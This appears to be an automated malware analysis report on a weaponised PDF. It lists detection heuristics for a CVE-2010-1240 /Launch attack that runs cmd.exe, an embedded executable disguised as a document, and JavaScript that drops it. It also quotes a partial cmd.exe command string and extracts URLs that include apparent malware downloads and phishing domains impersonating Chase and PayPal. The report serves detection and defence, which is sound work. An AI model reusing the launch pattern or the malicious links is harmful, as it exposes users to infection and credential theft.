Malicious PDF — malware analysis report

Heuristics 15

• Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
  PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
• ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
• Launch action critical PDF_LAUNCH
  PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
• Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
  PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
• /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
  PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\file.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
• Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
  An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
• /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
  PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
• Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• JavaScript action low 1 related finding PDF_JAVASCRIPT
  PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
• Embedded JS stream low PDF_JS
  PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
• Embedded file low PDF_EMBEDDED
  PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
• Optional Content Group with action trigger low PDF_OPTIONAL_CONTENT
  Optional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
• Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
  Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
• Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
  The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://malwaredatabase.net In PDF document text

  • http://openbsd.org)hasIn PDF document text
  • http://www.openbsd101.com/installation.htmlIn PDF document text
  • http://www.openbsdsupport.org/OpenBSDIn PDF document text
  • http://www.thekelleys.org.uk/DNSmasq/In PDF document text
  • http://172.20.0.1/wpad.datIn PDF document text
  • http://www.samse.fr/GPL/squidclamAV/In PDF document text
  • http://172.20.0.1/virus.phpIn PDF document text
  • http://127.0.0.1:3128/In PDF document text
  • http://rubyurl.com/ZYSLIn PDF document text
  • http://www.eicar.orgIn PDF document text
  • http://172.20.0.1/virus.php?url=http://www.eicar.org/download/eicar.com&source=172.20.0.200/In PDF document text
  • http://www.eicar.org/anti_virus_test_file.htmIn PDF document text
  • http://unit2.ca/mal/dll.zipIn PDF document text
  • http://172.20.0.1/virus.php?url=http://unit2.ca/mal/dll.zip&source=172.20.0.200/In PDF document text
  • http://chaseonline.chase.com.err.com.esIn PDF document text
  • http://hgklapla.ns8-wistee.fr/www.PayPal.Com22/webscrcmd=_login-In PDF document text
  • http://hgklapla.ns8In PDF document text
  • http://unit2.ca/mal/gigaticket2018.exeIn PDF document text
  • http://www.bleedingthreats.net/rules/bleedingIn PDF document text
  • http://www.lucas-nussbaum.net/blog/?p=168In PDF document text
  • http://thomer.com/icmptx/In PDF document text
  • http://www.hackinglinuxexposed.com/articles/20030213.htmlIn PDF document text
  • http://www.doxpara.com/?p=1185In PDF document text
  • http://blog.spoofed.org/2008/07/mitigating-dns-cache-poisoning-with-In PDF document text
  • http://www.windowsecurity.com/articles/Phishing-Metamorphosis-2007-Trend-In PDF document text
  • http://chaseonline.chase.com.err.com.es/Secure/webform/OSL.aspx?LOB=In PDF document text
  • http://www.cyber-ta.orgIn PDF document text
  • http://www.cyber-ta.org/releases/malware-In PDF document text
  • http://snort2)7.2(c)0.9(.sourceforge.)6.2(n)-0.1(et/Referenced by PDF JavaScript
  • http://www.)6.4(thekel)4.1(l)4.1(e)0.3(ys.or)5.3(g)-2.5(.uk/DN)7.4(Smasq/Referenced by PDF JavaScript
  • http://)5.4(1)-0.9(72.20.0.1/)5.4(wpad.da)4.7(tReferenced by PDF JavaScript
  • http://www.bleedingthreat)5.2(s)-3.5(.)6.1(n)-0.2(et/rules/blee)5.9(d)2.1(ingReferenced by PDF JavaScript
  • http://snort2)7(c)1(.sourceforge.)6(net/Referenced by PDF JavaScript
  • http://www.)6(thekel)4(l)4(eys.or)5(g)-2(.uk/DN)7(Smasq/Referenced by PDF JavaScript
  • http://)5(1)-1(72.20.0.1/)5(wpad.da)5(tReferenced by PDF JavaScript
  • http://www.bleedingthreat)5(s)-3(.)6(net/rules/blee)6(d)2(ingReferenced by PDF JavaScript
  • http://ocsp.verisign.com0In extracted file (stream_009_off0000a5c4.bin)
  • http://www.monotype.comMonotypeIn extracted file (stream_084_off0009b146.bin)
  • http://openbsd.orgIn PDF document text
  • http://snort2c.sourceforge.net/In PDF document text
  • http://www.openbsd.org/faq/pf/authpf.htmlIn PDF document text
  • http://chaseonline.chase.comIn PDF document text
  • http://paypal.com/secure/OSL.aspx?refer=79238601561In PDF document text
  • http://www.darkreading.com/document.asp?doc_id=117497In PDF document text
  • http://blog.trendmicro.com/zlob-enters-the-In PDF document text
  • http://www.blackhat.com/presentations/bh-europe-08/Feng-Xue/Whitepaper/bh-eu-In PDF document text
  • http://blogs.zdnet.com/security/?p=1562In PDF document text
  • http://blogs.iss.net/archive/dnsnat.htmlIn PDF document text
  • http://www.gartner.com/it/page.jsp?id=565125In PDF document text

  +19 more URL(s)

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